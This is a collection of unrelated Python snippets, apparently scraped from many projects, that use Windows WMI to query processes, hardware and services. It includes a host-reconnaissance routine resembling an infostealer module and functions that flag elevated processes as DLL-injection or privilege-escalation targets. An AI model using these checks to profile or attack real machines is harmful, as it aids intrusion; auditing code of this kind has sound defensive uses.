def __get_system_info(self): if self.statuses[1] is True: win = GetObject("winmgmts:root\\cimv2") os_info = win.ExecQuery("Select * from Win32_OperatingSystem")[0] cpu_info = win.ExecQuery("Select * from Win32_Processor")[0].Name gpu_info = win.ExecQuery("Select * from Win32_VideoController")[0].Name monitors_info = ", ".join(f"{monitor['Device'][4:]} {monitor['Monitor'][2]}x{monitor['Monitor'][3]}" for monitor in [GetMonitorInfo(monitor[0]) for monitor in EnumDisplayMonitors()]) try: net_info = urlopen(Request(method="GET", url=self.config.IPUrl)).read().decode("utf-8") except: net_info = "Error" info = ( f"User: {self.config.User}\n", f"IP: {net_info}\n", f"OS Name: {os_info.Name.split('|')[0]}\n", f"OS Version: {os_info.Version} {os_info.BuildNumber}\n", f"Monitors: {monitors_info}\n" f"CPU: {cpu_info}\n", f"GPU: {gpu_info}\n", f"RAM: {round(float(os_info.TotalVisibleMemorySize) / 1048576)} GB\n", ) with open(rf"{self.storage_path}\{self.folder}\Configuration.txt", "a", encoding="utf-8") as system: for item in info: system.write(item) system.close()
def app_usage(appname): wmi = GetObject('winmgmts:/root/cimv2') appbase = wmi.ExecQuery( 'select * from Win32_Process where CommandLine like "%{}%" and Caption != "python.exe"' .format(appname)) for item in appbase: apppid = item.ProcessId appstatus = [] try: appinfo = wmi.ExecQuery( 'select * from Win32_PerfFormattedData_PerfProc_Process where IDProcess = "{}"' .format(apppid)) except UnboundLocalError as nopid: return "0" sys.exit(2) for item in appinfo: appstatus.append(item.PercentProcessorTime) appstatus.append(round(float(item.WorkingSetPrivate) / 1024 / 1024, 2)) appstatus.append( subprocess.getstatusoutput( 'netstat -ano | findstr {} | wc -l'.format(apppid))[1]) return (appname, apppid, appstatus)
def exe_calisiyormu(): from win32com.client import GetObject WMI = GetObject('winmgmts:') if len(WMI.ExecQuery('select * from Win32_Process where Name like "%s%s"' % ("pypy",'%'))) > 0: return True else: return False
def get_cpu_info(): """ Gets a human-friendly description of this machine's CPU. Returns '' if it can't be obtained. """ if sys.platform.startswith('linux'): with open("/proc/cpuinfo", "rb") as fd: lines = fd.readlines() for line in lines: if b':' in line: key, val = line.split(b':', 1) key = key.strip() val = val.strip() if key == b'model name': return val.decode('ascii') elif sys.platform.startswith('darwin'): sysctl = which('sysctl') return check_output([sysctl, '-n', 'machdep.cpu.brand_string']).strip() elif sys.platform.startswith('win'): try: from win32com.client import GetObject cimv = GetObject(r"winmgmts:root\cimv2") return cimv.ExecQuery("Select Name from Win32_Processor")[0].name except: pass return ''
def update_shutdown(): wmi = GetObject('winmgmts:') process = wmi.ExecQuery('select * from Win32_Process where Name="%s"' % "program") if len(process) > 0: sent_mail(soft_update) sleep(2) system("shutdown /r /t 3")
def FindProcess(self, ProcessName): WMI = GetObject('winmgmts:') p = WMI.ExecQuery('select * from Win32_Process where Name="%s"' % (ProcessName)) pid = p[0].Properties_('ProcessId').Value # derp, forgot the value print("Process ID of %s is %s" % (ProcessName, pid)) return pid
def get_services_records(self) -> Iterable[dict]: wmi = GetObject('winmgmts:/root/cimv2') processes = wmi.ExecQuery('SELECT * FROM Win32_Service') for s in processes: file_path = s.PathName try: CryptQueryObject = windll.LoadLibrary( "Crypt32.dll").CryptQueryObject path = file_path[:(file_path.find(".exe") + 4)] bResult = CryptQueryObject(1, c_wchar_p(path), 1024, 2, 0, None, None, None, None, None, None) except: pass is_system_service = 'true' if s.ServiceType == "Own Process" else 'false' yield { "name": s.Name, "display_name": s.DisplayName, "start_type": s.StartMode, "process_id": s.ProcessId, "file_path": s.PathName, "status": s.State, "is_system_service": is_system_service, "is_signed": bool(int(bResult)) }
def check_port_pids(): pids = [] WMI = GetObject('winmgmts:') WMI = EnsureDispatch(WMI._oleobj_) nestat_regex = re.compile("\s+(?P<type>TCP|UDP)\s+(0.0.0.0|127.0.0.1):(?P<port>[0-9]+)\s+[0-9.:]+\s+(?P<listen>LISTENING)\s+(?P<pid>[0-9]+)") proc = subprocess.Popen(['netstat', '-ano'],creationflags=0x08000000, stdout=subprocess.PIPE) output = proc.communicate()[0] proc.stdout.close() for port in output.split("\r\n"): if nestat_regex.search(port): pids.append(nestat_regex.search(port).groupdict()) for pid in pids: processes = WMI.ExecQuery('select * from Win32_Process where ProcessId = %s' % pid["pid"]) for process in processes: if process.Properties_("Name").Value not in ["svchost.exe","lsass.exe","wininit.exe", "System", "services.exe"]: if process.ExecMethod_('GetOwner').Properties_("User").Value == None: print "[VULN] Elevated process %s with pid %s on port %s %s" % (process.Properties_("Name").Value, pid["pid"], pid["port"], pid["type"]) if pid["type"] == "TCP": s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) else: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.setblocking(1) s.settimeout(0.5) try: s.connect(("127.0.0.1", int(pid["port"]))) s.send("GET / HTTP/1.1\r\n\r\n") print "> [INFO] Port %s (%s) answer with banner \"%s\"" % (pid["port"], process.Properties_("Name").Value, s.recv(50).replace("\r\n"," ")) except Exception as e: print "> [INFO] Port %s (%s) won't answer to dummy packet" % (pid["port"], process.Properties_("Name").Value)
def CPU_Information(): print('\nCPU Information:') # CPU name root_winmgmts = GetObject('winmgmts:root\cimv2') cpu = root_winmgmts.ExecQuery('Select * from Win32_Processor') CPU_Name = cpu[0].name print(f'CPU: {CPU_Name}') # Number of Cores and threads core_Total = psutil.cpu_count(logical=True) core_Physical = psutil.cpu_count(logical=False) print(f'CPU Core: {core_Physical}\nCPU Thread: {core_Total}') # CPU frequency CPU_Freq = psutil.cpu_freq() Freq_Current = CPU_Freq.current # Shows actual frequency of the system print(f'CPU frequency: {Freq_Current :.0f}MHz') # Usege presentage of CPU cores (single and total) core_UsageTotal = psutil.cpu_percent() core_Percentage = psutil.cpu_percent(percpu=True, interval=1) print('CPU Single Thread Usage:') for i, percentage in enumerate(core_Percentage): thread = i + 1 thread_UsagePresentage = percentage print(f' - Thread {thread}: {thread_UsagePresentage}%') print(f'CPU Total Core Usage: {core_UsageTotal}%')
def ProcExist(self, procname): is_exist = False wmi = GetObject('winmgmts:/root/cimv2') processCodeCov = wmi.ExecQuery( 'select * from Win32_Process where name=\"%s\"' % (procname)) if len(processCodeCov) > 0: is_exist = True return is_exist
def get_process_id(process_name): WMI = GetObject('winmgmts:') processes = WMI.InstancesOf('Win32_Process') pid = WMI.ExecQuery('select * from Win32_Process where Name="' + process_name + '"') os_app = pywinauto.application.Application() os_app.connect(process=pid[0].Properties_('ProcessId').Value) #os_app.DialogWrapper.OK.click() return pid[0].Properties_('ProcessId').Value
def kill_cmd(): WMI = GetObject('winmgmts:') processes = WMI.InstancesOf('Win32_Process') for p in WMI.ExecQuery('select * from Win32_Process where Name="cmd.exe"'): #print ("Killing PID:", p.Properties_('ProcessId').Value) print(str(p.Properties_('ProcessId').Value)) os.system("taskkill "+str(p.Properties_('ProcessId').Value)+" /f")
def closeApp(): wmi = GetObject('winmgmts:') process = wmi.ExecQuery('select * from Win32_Process where Name="%s"' % "desktop.exe") if len(process) > 0: call("taskkill /im " + "desktop.exe") sleep(2) return 0
def using_hyperthreading(): if not lfu.using_os('windows'): print 'cant test hyperthreading when not using windows' return winmgmts_root = GetObject("winmgmts:root\cimv2") cpus = winmgmts_root.ExecQuery("Select * from Win32_Processor") for cpu in cpus: if cpu.NumberOfCores <= cpu.NumberOfLogicalProcessors: return True, cpu.DeviceID else: return False, cpu.DeviceID
def close_app(program): try: wmi = GetObject('winmgmts:') process = wmi.ExecQuery('select * from Win32_Process where Name="%s"' % program) if len(process) > 0: call("taskkill /f /im " + program) sleep(2) except WindowsError: sent_mail(close_app_mail) system("shutdown /r /t 3")
def startApp(): pyautogui.hotkey('winleft', 'd') Popen([r'C:\Program Files (x86)\Expeditors\Desktop\Desktop.exe']) sleep(1) wmi = GetObject('winmgmts:') process = wmi.ExecQuery('select * from Win32_Process where Name="%s"' % "desktop.exe") if len(process) not in range(1, 5): system("shutdown /r /t 3") return 0
def get_pid_by_name(exe_name): WMI = GetObject('winmgmts:') processes = WMI.InstancesOf('Win32_Process') len(processes) # print [process.Properties_('Name').Value for process in processes] p = WMI.ExecQuery('select * from Win32_Process where Name="%s"' % exe_name) # print [prop.Name for prop in p[0].Properties_] pid = p[0].Properties_('ProcessId').Value # get our ProcessId return pid
def killAll(appList): WMI = GetObject('winmgmts:') for app in appList: app = replace(app, "\\", "\\\\") processes = WMI.ExecQuery( 'select * from Win32_Process where ExecutablePath="%s"' % app) for process in processes: try: process.Terminate() except TypeError: raise
def _process_get_modules_wmi(): "Return the list of processes as tuples (pid, exe_path)" from win32com.client import GetObject _wmi = GetObject('winmgmts:') modules = [] # collect all the running processes processes = _wmi.ExecQuery('Select * from win32_process') for p in processes: modules.append((p.ProcessId, p.ExecutablePath)) # p.Name return modules
def check_elevated_processes(): WMI = GetObject('winmgmts:') WMI = EnsureDispatch(WMI._oleobj_) processes = WMI.ExecQuery('select * from Win32_Process') for process in processes: if process.Properties_("Name").Value not in ["svchost.exe","lsass.exe","wininit.exe", "System", "services.exe"]: try: if process.ExecMethod_('GetOwner').Properties_("User").Value == None: print "[INFO] Found elevated process %s" % process.Properties_("Name").Value except: pass
def stop_recording(self, output="screen.mp4", is_interrupted=False): try: WMI = GetObject('winmgmts:') for p in WMI.ExecQuery( 'select * from Win32_Process where Name="cmd.exe"'): os.system('taskkill /pid ' + str(p.Properties_('ProcessId').Value)) except: pass sleep(1) copy(self.defaultOutputDirectory, output)
def wmi_sql_all_name(pname): #子线程中执行wmi需要加初始化 #pythoncom.CoInitialize() _wmi = GetObject('winmgmts:') processes = _wmi.ExecQuery( "Select * from win32_process where name = '%s'" % (pname)) #print(len(processes)) if len(processes) > 0: # 子线程中执行wmi需要去初始化 #pythoncom.CoUninitialize() return True else: #pythoncom.CoUninitialize() return False
def check_process_injection(): WMI = GetObject('winmgmts:') WMI = EnsureDispatch(WMI._oleobj_) processes = WMI.ExecQuery('select * from Win32_Process') for process in processes: if process.Properties_("Name").Value not in ["svchost.exe","lsass.exe","wininit.exe", "System", "services.exe"]: try: if process.ExecMethod_('GetOwner').Properties_("User").Value == None: proc_name = process.Properties_("Name").Value proc_pid = process.Properties_("ProcessId").Value if open_process_allaccess(int(process.Properties_("ProcessId").Value)): print "[VULN] Process with pid %s(%s) is vulnerable to DLL Injection" % (proc_name, proc_pid) except: pass
def get_cpu_model(operating): if operating == 'linux': cpu_info = subprocess.check_output('lscpu').strip().decode().split('\n') model_regex = re.compile('^Model name') model = [c for c in cpu_info if model_regex.match(c)] model = model[0].split(':')[-1].strip() elif operating == 'windows': root_winmgmts = GetObject('winmgmts:root\cimv2') cpus = root_winmgmts.ExecQuery('Select * from Win32_Processor') model = cpus[0].Name else: raise ValueError('Expected OS to be linux or windows, but received {}'.format(operating)) model = re.sub('\([RTM]+\)', '', model) return model
def start_app(): Popen([r'C:\Program Files (x86)\Expeditors\Desktop\Desktop.exe']) sleep(1) wmi = GetObject('winmgmts:') process = wmi.ExecQuery('select * from Win32_Process where Name="%s"' % "desktop.exe") if len(process) in range(1, 10): log().write("StartApp:OK---") log().close() sleep(3) return 0 else: log().write("StartApp:Failed---Restart Computer Now\n") log().close() sent_mail(start_app_mail) system("shutdown /r /t 3")
def get_target_process_nt(): target_name = "" target_pid = -1 try: WMI = GetObject('winmgmts:') for app in apps: p = WMI.ExecQuery('select * from Win32_Process where Name="'+app+'"') if len(p) > 0: target_name = app target_pid = p[0].Properties_('ProcessId').Value break except: pass print(target_name) return target_pid, target_name
def CheckAppRunning(imagename): ''' 这里需要from win32com.client import GetObject,直接使用GetObject("winmgmts:")就可以了 使用import win32com再使用win32com.client.GetObject('winmgmts:')有问题,不知为何 ''' objWMIService = GetObject("winmgmts:") colProcesses = objWMIService.ExecQuery("Select * from Win32_Process") for objProcess in colProcesses: if objProcess.Name == imagename: print "Process:" + objProcess.Name print "Process ID: " + str(objProcess.ProcessID) print "Working Set Size: " + str(objProcess.WorkingSetSize) print "Page File Size: " + str(objProcess.PageFileUsage) print "Page Faults: " + str(objProcess.PageFaults) return True return False
def hyperthreadingPerCore(): sysstr = platform.system() thPerCpu=1 if (sysstr == "Linux"): thPerCpu=int(os.popen("LC_ALL=C lscpu |grep Thread | awk '{print $4}'").readline().strip()) elif (sysstr =="Windows"): from win32com.client import GetObject winmgmts_root = GetObject("winmgmts:root\cimv2") cpus = winmgmts_root.ExecQuery("Select * from Win32_Processor") for cpu in cpus: print('on "{}", hyperthreading is '.format(cpu.DeviceID), end='') if cpu.NumberOfCores < cpu.NumberOfLogicalProcessors: print('active') thPerCpu=cpu.NumberOfLogicalProcessors/cpu.NumberOfCores else: print('inactive') return thPerCpu
def check_outlook(): wmi = GetObject('winmgmts:') process_outlook = wmi.ExecQuery('select * from Win32_Process where Name="%s"' % "OUTLOOK.EXE") try: if len(process_outlook) == 0: Popen(r"C:\Program Files (x86)\Microsoft Office\Office16\OUTLOOK.EXE") # sle sleep(60) system('tasklist /FI "IMAGENAME eq OUTLOOK.EXE" /FI "STATUS eq running" > outlook.txt') with open('outlook.txt', 'r') as ff: a = ff.readlines() if a[-1].split()[0] == "OUTLOOK.EXE": return 0 else: system("shutdown /r /t 3") except WindowsError: system("shutdown /r /t 3")
def clicks(self): wmi = GetObject('winmgmts:/root/cimv2') while 1: processes = wmi.ExecQuery( "Select * from Win32_NTLogEvent where Logfile = 'Application' and EventCode = '20221'" ) self.c = '' for process in processes: a = process.InsertionStrings[5] self.c = a.split('\n')[1].split('\r')[1] break if self.c != '': break self._signal.emit("截获:" + self.c) self.mySignal()